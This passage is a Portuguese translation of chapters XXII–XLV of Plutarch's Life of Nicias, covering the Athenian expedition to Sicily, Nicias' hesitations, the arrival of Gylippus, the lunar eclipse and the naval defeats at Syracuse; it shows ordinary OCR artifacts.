XXII. Tend o ido a Atenas os embaixadores dos egestães e dos leontinos, para convencer os atenienses que deviam conquistar a Sicília, Nícias foi vencido pela astúcia e ambição de Alcibíades, que, antes que o conselho se reunisse para tratar de tal assunto, subornara a comuna com vãs promessas, modificando-lhe o julgamento de tal modo que os moços, reunidos nos centros de cultura física, e os velhos, nas oficinas dos artesãos, nos retiros e jardins, outra coisa não faziam senão riscar no chão o mapa da Sicília, discutindo sobre a posição do seu mar, enumerando os portos e os lugares voltados para a África, porque a Sicília, para eles, não passaria de um arsenal, onde se concentrariam para guerrear os cartagineses e conquistar a África e o seu mar, até às colunas de Hércules. Como todos desejassem ardentemente esta guerra, Nícias, que se manifestava contra, quase não encontrou pessoas nem homens de saber que o secundassem. Os ricos, temendo a fúria popular, ou para evitar obrigações e afastar despesas a que seriam obrigados, nada diziam, embora não estivessem satisfeitos. O povo, porém, não se intimidava e não deixava de aconselhar e pregar sempre o contrário; e, mesmo depois de anulada a resolução de efetuar o empreendimento, e de haver sido ele eleito comandante-chefe para executá-lo, com Alcibíades e Lâmaco, na assembléia havida pouco depois na cidade procurou por todos os meios demover o povo de tal intento, acusando Alcibíades de, por ambição e proveito pessoal, lançar a coisa pública em tão perigosa quão longínqua guerra. Isto, porém, só serviu para elevá-lo no conceito público quanto à sua eleição para o cargo de comandante-chefe, por sua experiência e cautela, aliadas ao arrojo de Alcibíades e à calma de Lâmaco. Além disso, o orador Demóstrato, pon-do-se de pé, incitou os atenienses ao empreendimento da viagem; declarou que faria Nícias cessar de opor subterfúgios e desculpas; apresentou um decreto, pelo qual o povo dava amplos poderes aos comandantes de combinar e agir, onde quer que fosse, e aconselhou o povo a aprová-lo e pô-lo em execução.

XXIII. Dizem que os présbitas alegaram muitas coisas para obstar o empreendimento, e que Alcibíades subornara vários adivinhos, que alegavam advir grandes glórias aos atenienses na Sicília, e alguns peregrinos, que referiam ser portadores de recente profecia de Júpiter Amon, que lhes declarara que os atenienses aprisionariam todos os sira-cusanos; que, se alguém alegasse e pressagiasse o contrário, devia ser taxado de medroso, e desprezado sem dó, para não se meter a fazer maus prognósticos, pois a melhor confirmação tinham-na no esposte-jamento dos Hermes e na mutilação, certa noite, de todas as imagens de Mercúrio, exceto uma, que denominaram o Hermes de Andócidas, sendo, pela linhagem, chamada Egeida, e que se achava colocada diante da casa de um cidadão chamado Andócidas; no que aconteceu junto ao altar dos doze deuses, que um homem galgou, percorreu todo, e deu fim à vida com uma pedra; e no que foi visto no templo da cidade de Delfos, no qual havia uma pequena imagem de ouro, sob uma palmeira de cobre, cedida pela cidade de Atenas, dos despojos conquistados aos medos. Durante vários dias os corvos não cessaram de empoleirar-se nela e de bicá-la; e, tanto bicaram o fruto de ouro existente na palmeira, que o estragaram e derrubaram. Os atenienses, porém, atribuíam tal estrago aos delfos, vencidos pelos siracusanos. Uma profecia também ordenou-lhes que transportassem para Atenas uma religiosa de Minerva, que se achava na cidade de Clazomenes. Eles mandaram buscar a religiosa, chamada Hesíquia, que significa descanso, coisa que, parece, lhes aconselhavam os deuses, com esta profecia.

XXIV.Seja por acreditar no astrólogo Melão, ou porque os presságios celestes o amedrontassem, ou ainda por duvidar do bom êxito de tal viagem, ele, desesperado, por ter um posto na armada, incendiou sua casa. Há quem diga que ele assim procedeu, não por desespero, mas em pleno juízo e de caso pensado, à noite, e que no dia seguinte foi ter à praça pública, com ar bastante aflito, e suplicou ao povo que, atendendo ao que lhe ocorrera, o dispensasse da viagem, mesmo porque precisava comprar e dirigir uma galera, e estava prestes a embarcar. A sagacidade de Sócrates, porém, habituada a preve-ni-lo, dos acontecimentos futuros, revelou-lhe que tal viagem redundaria em prejuízo da cidade de Atenas, coisa que ele mesmo contou aos amigos mais achegados, e pela boca dos quais foi ter aos ouvidos da maior parte do povo. Isto contribuiu imenso para o enfraquecimento da coragem dos que embarcaram para a luta, pois fizeram-no justamente nos dias em que as mulheres celebravam a cerimônia da morte de Adônis, havendo em muitos lugares da cidade imagens de homens falecidos, que eram levadas a sepultar, seguidas dos lamentos de mulheres trajando luto carregado. Os que acreditavam em presságios, viram naquilo um aviso do que iria acontecer à admirável equipagem da armada prestes a partir, e ficaram tristes e apreensivos.

XXV. O fato de Nícias se haver sempre oposto ao empreendimento, nas reuniões do conselho deliberativo, e de nunca deixar-se levar por influências e esperanças vãs, nem seduzir e mudar de opinião pela honra do posto que lhe deram, mostrou ser êle um homem de bem, inabalável e ajuizado. Vendo, porém, que os seus bons conselhos não demoviam o povo de empreender a guerra, e que as suas súplicas, longe de conseguir a sua exoneração do posto de general, mais induziam-no a exigir que ele fosse um dos comandantes da armada, não teve remédio senão ceder, para não desencorajar seus companheiros e fazer gorar o alvo da expedição, que devia partir sem demora contra os inimigos, e tentar a sorte. Êle, porém, agiu de modo diferente. Sendo Lâmaco de opinião que, ao chegar, fossem direito a Siracusa, atacando-a o mais próximo possível de suas muralhas, e Alcibíades fosse de parecer que primeiro se fizesse a conquista das cidades aliadas dos siracusanos, Nícias declarou que o certo seria explorarem paulatinamente as costas da Sicília, para porem à mostra sua esquadra e sua força, e voltarem sem demora a Atenas, deixando apenas alguns guerreiros com os egestães para ajudá-los a se defenderem. Isto arrefeceu logo o entusiasmo e a coragem dos guerreiros.

XXVI.Pouco depois, tendo os atenienses mandado buscar Alcibíades, para processá-lo, Nícias conservou-se no posto de comandante com um outro, mas de comandante-chefe de toda a armada quanto ao poder e autoridade, retardando sempre qualquer ação, parando em toda parte, perdendo tempo em indagações, o que fez com que o ardor de seus homens arrefecesse, e o pavor dos inimigos, à vista de tão poderosa armada, desaparecesse. Todavia, antes de seguir para Atenas, Alcibíades foi còm sessenta galeras a Siracusa, dispondo cinqüenta em ordem de combate, fora do porto, e mandando dez sondar o mesmo. Aproximando-se estas da cidade, um arauto gritou muito alto que eles ali se achavam para repor os leontinos em suas terras e casas, apoderaram-se de um navio inimigo, no qual, entre outras coisas, encontraram tábuas, em que se achavam escritos, por ordem de origem e genealogia, os nomes de todos os habitantes de Siracusa. Estas tábuas eram guardadas muito longe da cidade, no templo de Júpiter Olimpiano, e haviam ido buscá-las para saber o número de pessoas em condição e idade para o serviço militar. De posse destas tábuas, os atenienses levaram-nas aos chefes da armada, aos quais os adivinhos, descontentes com o ato, declararam não corresponder aquilo ao que a profecia prometia, isto é, que os atenienses aprisionariam todos os sira-cusanos. Dizem que esta profecia foi realizada por uma outra expedição, quando Calipo Ateniense, tendo matado Dion, apoderou-se da cidade de Siracusa.

XXVII. Afastado Alcibíades da armada, toda a autoridade e poder de comando passaram a Nícias, porque Lâmaco, embora corajoso, íntegro e cioso do seu nome, era tão pobre e tão simples que se sujeitava a todas as privações, e todas as vezes que foi eleito comandante, ao prestar contas do que lhe passara pelas mãos, nunca se esquecera de levar à conta de seu débito a pequena quantia que retirara, para a compra de roupa e de pantufos. A autoridade e a reputação de Nícias, pelo contrário, eram maiores, por suas riquezas e pela glória de belíssimas ações que antes praticara. Conta-se, a tal respeito, que certa vez, em que ele era um dos comandantes, achando-se com os companheiros em conselho no palácio senhorial, em Atenas, para deliberar sobre certo negócio, ele disse ao poeta Sófocles, ali presente, que cabia-lhe o direito de ser o primeiro a dar o seu parecer, na qualidade de mais velho dos que se achavam reunidos. Sófocles respondeu-lhe: "Sou de fato, o mais velho, mas tu és o mais venerável, e aquele a quem mais acatam". Assim, pois, tendo Lâmaco sob suas ordens, embora o sobrepujasse como guerreiro e comandante, usando apàticamente as forças que possuía, e protelando sempre, foi contornar a Sicília, o mais longe possível dos inimigos, dando-lhes tempo e vagar de se precaver. Depois, detendo-se diante de Ibla, que não passava de uma péssima cidadela, e afastando-se sem tomá-la, caiu em tão grande desprezo, que mais ninguém ligou importância à sua pessoa. Retirou-se, por fim, para Catania, não tendo realizado outro cometimento além da tomada de Içara, uma péssima cidadela de bárbaros, da qual dizem ser oriunda a cortesã Laís, que, sendo ainda jovem, foi vendida com outros prisioneiros e a seguir levada para o Peloponeso.

XXVIIITendo, afinal, terminado o verão, ele foi prevenido de que os siracusanos, cheios de ódio, resolveram adiantar-se e dirigir-se contra ele, e que a sua cavalaria já se achava em escaramuças em seu acampamento, perguntando zombeteiramente, aos atenienses, se eles haviam ido à Sicília para morar com os de Catania ou para repor os leontinos em suas casas. Então, bem contra sua vontade, ele resolveu dirigir-se a Siracusa, e, desejando assentar ali seu acampamento com segurança e vagar, sem se arriscar, mandou um homem de Catania a Siracusa, a fim de avisá-los, como se fora um espião, que se eles quisessem apanhar o acampamento dos atenienses de improviso, e apoderar-se de tudo, deviam ir num dia por ele determinado a Catania, com toda a sua força, porque os atenienses permaneciam a maior parte do tempo na cidade, onde filhos do lugar, que favoreciam Siracusa, logo que perceberam a aproximação dos siracusanos haviam deliberado apoderar-se dos portos da cidade e incendiar os navios atenienses, esperando, para tal, o dia e a hora da sua chegada.

XXIXEsta foi a maior habilidade guerreira realizada por Nícias, durante todo o tempo que permaneceu na Sicília. Por meio deste ardil ele fez os inimigos sair a campo com toda a sua força e deixar a cidade completamente despovoada; e, partindo de Catania com toda a frota, apoderou-se facilmente do porto de Siracusa, e escolheu um lugar para assentar seu acampamento, onde os inimigos não poderiam causar-lhe dano, por ser o mais forte, e de onde podia correr sem embargo sobre eles, coisa em que muito confiava. E como os siracusanos, de há pouco regressados de Catania, lhe dessem combate junto às muralhas de sua cidade, ele saiu a campo, e derrotou-os. É verdade que morreram poucos inimigos na luta, por ter sua cavalaria impedido a perseguição; mas, fazendo destruir e abater as pontes existentes no no, ele deu motivo a que Hermócrates zombasse dele, pois, consolando e animando os siracusanos, declarou-lhes que Nícias era digno de ser ridicularizado, porquanto evitava a todo custo combater, como se não tivesse ido de Atenas a Siracusa expressamente para tal fim. Não obstante, o pavor dos siracusanos foi tão grande que, em lugar de quinze comandantes que precisavam, só conseguiram eleger três, aos quais o povo jurou dar plenos poderes e força para agir sobre todas as coisas.

XXX. O templo de Júpiter Olimpiano achava-se bem perto do acampamento dos atenienses, do qual eles tinham grande vontade de se apoderar, por saberem-no repleto de ricas jóias e dádivas de ouro e prata, que outrora lhe foram oferecidas. Nícias, porém, propositalmente, tanto demorou-se em dirigir-se para ali, para não arcar com a responsabilidade do sacrilégio de um saque ao templo por parte de suas tropas, que os siracusanos conseguiram enviar guarnição capaz de mantê-lo com segurança. Não querendo valer-se de uma vitória certa, coisa que correu célere por toda a Sicília, poucos dias depois ele regressou à cidade de Naxos, onde passou o inverno, consumindo muitos víveres com o grande exército que possuía e tirando pouco proveito dos sicilianos que a ele se renderam. Os siracusanos, entretanto, enfurecidos, voltaram inesperadamente a Catania, tomaram e estragaram toda a região da planície, e incendiaram o acampamento que os atenienses ali haviam estabelecido. Não houve quem não censurasse. Nícias pela demora da ação e pelo desejo de realizar as coisas com segurança, deixando fugir a oportunidade de efetuar muitos e belos feitos; pois, quando ele se decidia a pôr mãos à obra, agia com tal sorte que ninguém podia reprovar-lhe as ações, porque empreendia bem e achando-se bem humorado, ele tudo executava diligentemente. Mas era demorado nas resoluções e cobarde nos empreendimentos.

XXXI.Quando ele começou a movimentar sua armada, para voltar diante de Siracusa, conduziu-a com tal perícia, inteligência e segurança, que chegou por mar a Tapse, desembarcou, e apoderou-se do forte de Epípoles antes que os siracusanos soubessem e pudessem evitar. Tendo a elite dos siracusanos saído ao seu encontro, ele derrotou-a, aprisionou trezentos, e afugentou-lhe a cavalaria considerada invencível. O que mais espantou os siracusanos e pareceu admirável aos outros gregos, foi ofato de em pouco tempo ele cercar de muralhas toda a cidade de Siracusa, que não era menos extensa que a de Atenas, e mais difícil de fazê-lo, devido à desigualdade da região montanhosa, e tendo as marés em seu desfavor. Além disso, muitos dos seus homens foram atacados de nefrite, para levar a bom termo o trabalho, o que faz com que eu me admire extraordinariamente da diligência e solicitude do comandante e da proeza e boa vontade dos soldados, na execução de tão belo trabalho. Após sua completa derrota, Eurípides deplorou-a em versos fúnebres, dizendo:

Oito vezes derrotaram os siracusanos,
Enquanto os deuses não os castigaram injustamente.

Os siracusanos, porém, foram derrotados mais vezes ainda, antes que os deuses e a boa sorte bandeassem em seu favor.

XXXII. Forçando sua natureza, Nícias era pessoalmente encontrado na maior parte dos combates. Mas um dia, agravando-se o seu estado de saúde, êle foi obrigado a conservar-se deitado em seu acampamento, sob o cuidado de alguns dos seus lacaios, enquanto Lâmaco, que só tinha sob suas ordens a esquadra, atacava os siracusanos, que erguiam uma muralha em toda a volta de sua cidade, a fim de impedi-los de levá-los a termo e de cercá-los. Sendo os atenienses mais fortes na maior parte das escaramuças, eles perseguiam constantemente seus inimigos, que fugiam em tal desordem que Lâmaco, um dia, viu-se sozinho a enfrentar uma tropa de cavalaria, a cuja frente seguia o primeiro Calícrates, homem corajoso e amável, que desafiou-o a uma luta de homem para homem. Lâmaco aceitou o desafio, foi o primeiro a ser fendo, feriu Calícrates, e os dois caíram mortos no lugar da ação. Sendo os siracusanos mais fortes ah, transportaram seu corpo para outro lugar, e avançaram cegamente contra o forte do acampamento dos atenienses, onde se achava Nícias, doente, sem guardas e sem qualquer meio de defesa. Vendo o perigo em que se achava, ele abandonou o leito e ordenou a alguns dos seus criados que ateassem fogo à lenha que haviam amontoado diante das trincheiras do acampamento, para uso de algumas máquinas e engenhos de bateria, e de alguns engenhos que já se achavam preparados. Isto deteve os siracusanos, e salvou Nícias e o forte do acampamento, onde se achavam todo o dinheiro e bagagens dos atenienses. Vendo, de longe, entre eles e o forte, elevar-se ao ar tão grande chama, os siracusanos voltaram apressados à cidade.

XXXIII. Com tais acontecimentos, Nícias tornou-se comandante único, com grande probabilidade de produzir alguma coisa útil, pois muitas cidades da Sicília já se haviam declarado a seu favor, e ao seu acampamento chegavam navios de a parte, carregados de trigo, colocando-se às suas ordens. Como tudo lhe corresse bem, os siracusanos começaram a fazer-lhe propostas de acordo, desesperançados de poder defender sua cidade contra ele. O próprio Gilipo, comandante lacedemônio, que correra em seu auxílio, sabendo como a cidade de Siracusa estava sitiada, e fortemente bloqueada, prosseguiu viagem, sem qualquer esperança de defender a Sicília, que considerava inteiramente em poder dos atenienses, mas tencionando ao menos socorrer as cidades da Itália, se lhe fosse possível, pois já corria por toda parte a notícia que os átemenos haviam vencido e que possuíam um comandante invencível. Tendo se certificado, mais por prudência do que pelo favorecimento da sorte, e pelas narrações e notícias que secretamente lhe eram feitas pelos naturais da região, de que a cidade em poucos dias se acharia em seu poder, mediante acordo, Nícias não cuidou de impedir a chegada e desembarque de Gilipo na Sicília. Assim, este desembarcou sem que nada lhe acontecesse, tal o desprezo que lhe votavam e o pouco caso que dele faziam. Tendo desembarcado bem longe de Siracusa, Gilipo começou a reunir guerreiros antes mesmo que os siracusanos soubessem da sua chegada e esperassem a sua ida. Tanto assim que já haviam reunido a assembléia, para deliberar sobre as condições de sua capitulação a Nícias, embora houvesse alguns membros discordantes.

XXXIV. No momento exato do perigo, Gongilo, que partira de Corinto com uma galera, chegou à cidade. Ao aportar, o povo todo, como é fácil supor, correu-lhe ao encontro, ouvindo-lhe a declaração de que Gilipo não tardaria a chegar, vindo atrás dele outras galeras em seu auxílio. Os siracusanos conservaram-se incrédulos até a chegada de um mensageiro expresso, mandado pelo próprio Gilipo, que ordenou-lhes que saíssem armados à sua frente. Readquirindo então coragem, eles foram armar-se sem demora. Nem bem chegou a Siracusa, Gilipo preparou às pressas seus homens, para ir atacar os atenienses. Tendo Nícias também disposto seus homens em posição de ataque, ao defrontarem-se as forças, Gilipo depôs as armas e mandou um arauto pedir a Nícias que lhes permitisse partir vivos e livres de perigo da Sicília. Nícias não se dignou responder. Alguns soldados, porém, zombando, perguntaram ao arauto se pela simples chegada de um capêto e de um bastão da Lacede-mônia, os siracusanos se sentiam tão fortes que deviam desprezar os atenienses que, não havia muito, mantiveram acorrentados, em suas prisões, trezentos lacedemônios muito mais robustos e mais cabeludos que Gilipo, e os haviam entregue a seus cidadãos. Timeu também escreve que os próprios sicilianos não faziam o menor caso de Gilipo, nem então, nem depois, porque descobriram sua torpe presunção e sua avareza. Vendo-o de cabelos muito compridos, e trajando unicamente uma péssima capa, zombaram dele. Todavia, depois ele mesmo disse que, nem bem apareceu na Sicília, muitos dos tais zombadores foram rodeá-lo com profundo afeto, como fazem os passarinhos com as corujas. Isto me parece mais verdadeiro do que o que foi dito antes, visto que se amontoavam em torno dele, vendo naquela capa e no bastão os vestígios e a dignidade da cidade e soberania de Esparta. Muito acertadamente diz Tucídides que foi só ele quem fez tudo, o que é confirmado por Filisto, natural de Siracusa, que testemunhou tudo quanto aconteceu.

XXXV. Todavia, neste primeiro encontro os atenienses tiveram vantagem, e mataram certo número de siracusanos, entre os quais Gongilo Coríntio. Mas no dia seguinte Gilipo demonstrou quanto valem a capacidade e a experiência de um comandante assisado, pois, com as mesmas armas, os mesmos homens, os mesmos cavalos, e nos mesmos lugares, mudando unicamente a disposição do combate, derrotou os atenienses. E, tendo-os expulso, batendo-os até dentro do seu acampamento, obrigou os siracusanos a construir, com as pedras e o material que os atenienses haviam levado para construir sua prisão, muralhas de resguardo, que de nada lhes valeram. Com isto, os siracusanos readquiriram coragem, começaram a armar galeras, e, com a sua cavalaria e seus lacaios percorrendo o campo todo, lizeram numerosos prisioneiros. Gilipo, a seu turno, percorreu pessoalmente as cidades da Sicília, pedindo aos habitantes que o obedecessem de boa vontade, e aconselhando-os a tomar armas em seu favor.

XXXVI.À vista disso Nícias recaiu de novo em seu primitivo modo de agir, e, considerando a mudança de suas ações, começou a desanimar. Assim sendo, ele escreveu sem demora aos atenienses que mandassem outra esquadra à Sicília, ou melhor, que chamassem a que ali se achava, e o dispensassem e demitissem do posto de comandante, atendendo à moléstia que o perseguia. Os atenienses, que sempre se mostraram surdos às solicitações, graças à inveja que os maiorais da cidade tinham da grande prosperidade de Nícias, colocados em tal dilema, desta vez resolveram atender prontamente. Após o inverno, Demóstenes devia partir sem demora com uma grande esquadra; mas, mesmo no inverno, Eurimedão adiantou-se levando-lhe dinheiro e a notícia que o povo elegera-lhe por companheiros alguns dos que ali se achavam, Euti-demo e Menander. Entrementes, tendo sido atacado de surpresa pelo inimigo, tanto em terra como no mar, embora tivesse menos galeras que seus inimigos, Nícias enfureceu-se e meteu-lhes a pique algumas. Em terra, porém, ele não conseguiu socorrer sua gente a tempo, porque Gilipo, logo no primeiro ataque, apoderou-se do forte Plemirião, no qual se achava a equipagem de diversas galeras e boa soma de dinheiro de contado, fazendo muitas mortes de prisioneiros, e tolheu a Nícias a possibilidade de fazer chegar, por via marítima, víveres ao seu acampamento. Tomado o forte, e ancorados os inimigos diante dele, só combatendo-os e vencendo-os, poderia ele prover às necessidades do seu acampamento.

XXXVII. Tendo sido observado aos sira-cusanos que sua esquadra não havia sido derrotada, embora os inimigos fossem mais fortes, porque os haviam perseguido em desordem, eles quiseram tentar outra vez a sorte, corn melhor disposição e melhor equipagem. Nícias, porém, não quis de modo algum que os seus voltassem ao combate, alegando ser grande loucura fazê-lo com o pequeno número de navios mal equipados que possuíam, quando Demóstenes não tardaria a chegar com o reforço de uma boa esquadra. Menander e Eutidemo, ao con-trário, recentemente promovidos ao posto de comandantes, cheios de ambição e inveja dos outros dois comandantes, desejando antecipar Demóstenes, fazendo algo de belo antes de sua chegada, e exceder mesmo os feitos de Nícias, manifestaram-se favoráveis ao ataque. A desculpa por eles dada, para encobrir sua ambição, foi o da reputação da cidade de Atenas, que ficaria nulificada e desmoralizada sob todos os aspectos se eles demonstrassem ter medo dos siracusanos, que os provocavam ao combate.

XXXVIII.Deste modo, eles obrigaram Nícias a entrar em combate, no qual foram batidos e derrotados, graças aos bons conselhos dados aos siracusanos por um piloto coríntio, chamado Aristão, sendo o lado esquerdo de suas forças totalmente destruído, segundo relata Tucídides, e perdendo ali grande número de seus homens. Razão por que Nícias ficou muito aflito, considerando o imenso trabalho que tivera quando único comandante, e a grande falta cometida por culpa dos companheiros que lhe deram. No momento, porém, do seu maior desespero, descobriram, pouco acima do porto, Demóstenes, com sua frota fortemente armada c equipada, para pôr em polvorosa os inimigos. Constava ela de setenta e três galeras, contendo cinco mil soldados de todas as armas, além de arqueiros, atiradores e não menos de três mil lanceiros. As galeras eram dotadas de belos arneses e de numerosas insígnias, de grande quantidade de clarins, de couraças e de outros petrechos de marinha, tudo pomposa e triunfalmente disposto, para produzir maior temor aos inimigos. Supõe-se que os siracusanos ficaram de repente bastante abalados, considerando inútil qualquer esforço de sua parte, para livrar-se da dura situação em que se achavam. Nícias, pelo contrário, ficou radiante com a chegada de tão grande reforço, mas a sua alegria não foi de longa duração; pois, mal êle começou a entender-se com Demóstenes sobre os acontecimentos, notou que este queria ardentemente atacar os siracusanos o mais depressa possível, tomar-lhes a cidade, e regressarsem demora ao seu país. Nícias estranhou tanta pressa, e rebateu com firmeza tão estonteante arrojo; pediu-lhe que nada fizesse temerária e desesperadamente, demonstrando-lhe que, conduzindo as coisas sem afobação, agiria em favor dos seus e contra os inimigos, que, não tendo mais dinheiro e víveres, não tardariam a ser abandonados pelos aliados, e corre-riam a pedir-lhe acordo, como já haviam feito antes. Muitos habitantes de Siracusa, que secretamente mantinham entendimentos com Nícias, haviam-no prevenido que retardasse o ataque, porque os sira-cusanos achavam-se fatigados e aborrecidos da guerra, e bastante desgostosos com Gilipo, prontos a renderem-se incondicionalmente, se a carência de víveres chegasse a aumentar.

XXXIX. Expondo estas razões, parte veladamente e parte evitando expor publicamente, fez seus companheiros acreditar que só a cobardia o levava a firmar-se em tais propósitos e a recair nas primitivas delongas, até conseguir completa certeza de vencer, o que abateu o ardor e entusiasmo da sua gente, desde o início, e fez com que os próprios inimigos lhe votassem o maior desprezo. Por essa razão os outros apoiaram a opinião de Demóstenes, à qual, muito a contragosto, Nícias também aderiu. Assim, à noite, à frente dos soldados de infantaria, Demóstenes foi atacar o forte de Epípoles, antes que os inimigos notassem a sua chegada, matando alguns e afugentando os que procuraram defender-se. Não satisfeito, foi além, até encontrar os beócios, que foram os primeiros a se reunir e a avançar furiosos, de lanças em riste, e em altos gritos contra os atenienses, abatendo os primeiros no lugar. O resto do exército ficou tão desnorteado que os primeiros fugitivos foram jogar-se entre os seus perseguidores, e os que procuraram a fuga pelo monte Epípoles, atônitos, encontrando-se com os próprios companheiros, que corriam em sentido contrário, com eles se entrechocaram, supondo-os inimigos, havendo grande mortandade. A esta confusão e pavor, que os tornara desconhecidos uns dos outros, deve-se acrescentar o fato de não poderem ver claramente, por ser noite, embora não tão escura que nada pudessem enxergar, mas também de claridade insuficiente paia se distinguir com segurança o que se apresentava ao simples olhar. Além disso, a lua já estava tão baixa que a pequena claridade que emitia era ofuscada pela quantidade de armas e de homens que iam e vinham, tornando-se insuficiente para os reconhecimentos; de modo que o medo que eles tinham dd inimigo fazia-os desconfiar dos próprios amigos. A reunião de todas estas coisas tornou os atenienses perplexos, fazendo-os cair em graves inconvenientes. Ao demais, a lua ficava-lhes às costas, projetan-do-lhes as sombras para a frente, ocultando-lhes a quantidade e o esplendor dos arneses, dando-se o contrário com os inimigos, que, favorecidos pelos rarios da lua, pareciam mais numerosos e melhor armados do que na realidade estavam. Fortemente perseguidos pelos inimigos por todos os lados, eles começaram a recuar, e puseram-se em fuga desabalada, sendo uns mortos pelos inimigos que tinham às costas, outros por seus próprios companheiros, e outros ainda despenharam dos rochedos. Os que estavam espalhados pelos campos, procurando na fuga a sal^ vação, na manhã seguinte foram presos e passados ao fio da espada pelas cavalarias de Siracusa. Finda a ação, dois mil mortos ficaram no lugar, sendo poucos os que conseguiram salvar-se às pressas, levando suas armas.

XL. Eis porque Nícias, que sempre temeu que tal acontecesse, acusou e censurou a temeridade de Demóstenes, que, defendendo-se como pode, opinou que ao romper do dia embarcassem e regressassem à sua terra, pois as forças que possuíam eram insuficientes para enfrentar os inimigos, enquanto esperassem por novos reforços. Além disso, mesmo que fossem muito fortes, seriam obrigados a por-se em ação ou a fugir do lugar em que estavam acampados, o qual, segundo de há muito ouvira falar, era bastante perigoso e pestífero, mesmo no começo do outono, estação em que se achavam, conforme podia provar com numerosos doentes já ali existentes, prestes a falecer. Nícias ouviu-o contrafeito, por temer, não os siracusanos, e sim os atenienses, suas calúnias e seus julgamentos. Razão por que ele disse ao conselho não ver inconveniente algum em ali permanecer, e que, embora houvesse, mais estimaria que os inimigos o matassem, a morrer pelas mãos dos seus próprios cidadãos. Nisto ele agiu contrariamente à opinião manifestada depois por Leão Bizantino, que disse aos seus cidadãos: "Prefiro ser morto por vós do que morrer convosco". Depois, quanto ao lugar para onde deveriam transferir seu acampamento, teriam tempo de sobra para deliberar sem serem importunados.

XLI.Quando Nícias emitiu esta opinião ao conselho, Demóstenes, que em seu primeiro parecer não fora feliz, não ousou mostrar-se ofendido com a mesma. Os outros, certos que Nícias não teria tão firmemente se oposto à partida, se não confiasse em alguma coisa proveniente da cidade, concordaram com ele. Mas, ao saberem da chegada de novos reforços aos siracusanos, e notarem que a peste se alastrava cada vez mais em seu acampamento, o próprio Nícias foi de parecer que deviam partir, e ordenou aos soldados que se preparassem para o embarque. Neste comenos, quando tudo estava pronto para velejar, sem que os inimigos percebessem, houve eclipse da lua, e a noite tornou-se sumamente escura. Isto causou grande pavor a Nícias e à sua gente, que, por ignorância e superstição, temiam imenso tais fenômenos.

XLII.Desde aquele tempo o vulgo já conhecia que o eclipse e obscurecimento do sol sempre têm lugar na conjunção da lua, mas não concebia, de modo algum, que tal acontece devido ao tamanho da lua. O próprio eclipse da lua, que se dá quando ela encontra quem a obscureça mesmo em plenilúnio, transmudando-lhe a claridade nas mais variadas cores, era-lhe de difícil compreensão, esquisito e sempre considerado como sinal de grandes desgraças com que os deuses ameaçavam os seres humanos. Anaxágoras, o primeiro que escreveu com mais acerto e ousadia sobre a claridade e obscurecimento da lua, não era então idoso e sua invenção ainda não havia sido divulgada; era mantida em segrêdo, e os poucos que a conheciam só ousavam transmiti-la, cuidadosamente, às pessoas de sua in-teira confiança, porque o povo não admitia que os filósofos tratassem de coisas naturais, que denominava meteorológicas, isto é, de coisas superiores que lucedem no céu ou no ar, e a comuna achava que eles atribuíam a causas naturais e irrazoáveis, e a forças estranhas, o que só aos deuses era devido. Razão por que Protágoras foi banido de Atenas, Anaxágoras foi encarcerado, dando muito trabalho a Péricles para soltá-lo, e Sócrates foi condenadoà morte por ser filósofo, embora não se envolvesse naquela parte da filosofia. Muito mais tarde, a doutrina de Platão, publicamente recebida, graças à excelência de sua vida e por submeter a necessidade das causas naturais ao poder divino, desfez a má opinião que a comuna tinha sobre tais controvérsias, e deu curso e divulgação às ciências matemáticas. Por isso, Dion, um dos seus discípulos e familiares, não se assustou nem perturbou, com o eclipse da lua que sobreveio no momento em que levantava âncora para partir de Zacinto e ir guerrear o tirano Dionísio; velejou, e, chegando a Siracusa, expulsou o tirano.

XLIII.Ainda assim Nícias foi então infeliz, por não ter um bom e experimentado adivinho, pois o que possuía, chamado Estílbidas, que o afastava de muitas das suas superstições, havia falecido pouco antes. Este presságio de eclipse da lua, na opinião de Filócoro, era útil às pessoas que desejavam fugir furtivamente ao perigo. "Porque, diz êle, as coisas que se procura ocultar de caso pensado têm a luz como inimiga". Mesmo assim, eles se haviam habituado a não agir e a precaver-se somente durante três dias, nestes acidentes da lua e do sol, como o próprio Autóclidas estabelece no livro que escreveu sobre tais manifestações. Nícias, porém, adianta ser necessário esperar outra revolução do curso completo da lua, como se a não tivesse visto pura e nítida logo que ela transpôs a extensão do ar sombreado e obscurecido pela sombra da terra. Êle se pôs a sacrificar aos deuses coisas quase esquecidas e abandonadas, dando aso a que os inimigos voltassem a sitiar-lhe os fortes e o acampamento por terra, e por mar atacassem e se apoderassem de todo o porto, dirigindo aos atenienses pesados insultos, para provocá-los ao combate. Para isso, Heráclides, de família boa e nobre, avançou seu navio mais que os outros, sendo alcançado por uma galera de Atenas, que lhe ia ao encontro. Vendo tal, Polico, seu tio, avançou com dez caravelas de Siracusa, das quais era comandante, em seu auxílio. As outras galeras atenienses, supondo que Polico não fosse inimigo, avançaram, efetuando um grande combate naval, que os siracusanos venceram, matando o comandante Eurimedão e muitos outros. Isto assustou tanto os soldados atenienses, que eles começaram a gritar não haver mais motivo para permanecer ali, e que deviam retirar-se por terra, porque, ganho o combate, os siracusanos haviam logo fechado a entrada do porto.

XLIV. Nícias não condescendeu em tal retirada, por considerar grande vergonha entregar ao inimigo os duzentos navios e galeras que possuía. Pelo contrário, foi de opinião que se dotasse cento e dez galeras dos soldados mais valentes e dos melhores láncenos existentes na esquadra, porque as outras galeras não tinham mais remos. Pronta a esquadra, Nícias dispô-la ao longo do litoral, no porto, abandonando seu grande acampamento e suas muralhas, que iam até o templo de Hércules. Devido a isso, os siracusanos, que até aquele dia não haviam podido fazer os costumeiros sacrifícios a Hércules, encarregaram seus présbitas e comandantes de fazê-lo. Achando-se os combatentes embarcados, os adivinhos foram prevenir os siracusanos que os sinais dos sacrifícios prediziam-lhes uma gloriosíssima vitória, desde que não fossem os primeiros a atacar, e apenas se mantivessem na defesa, porque assim procedera Hércules em todos os seus empreendimentos, isto é, defendera-se, quando atacado.

XLV. Nesta doce esperança vogaram os siracusanos para a frente, produzindo o combate naval mais áspero e violento de toda esta guerra, que causou tanto sofrimento, trabalho e aflição aos que se achavam no litoral como aos que combatiam, porque, nas poucas horas de luta, eles viram muita mudança, na maior parte contrária ao que esperavam. Reunindo todas as galeras numa frota única, sobrecarregando-as demasiadamente, e conduzindo o combate pela maneira por que o fizeram, os atenienses ocasionaram-se maior mal do que o produzido pelos inimigos, de cujas galeras, leves, rápidas e esparsas, arremessavam pedras, de efeito seguro e destruidor, como não o eram os dardos e flechas da parte contrária. Aristão, piloto coríntio, que tal ensinara aos siracusanos, morreu valorosamente, quando eles já estavam vencedores.

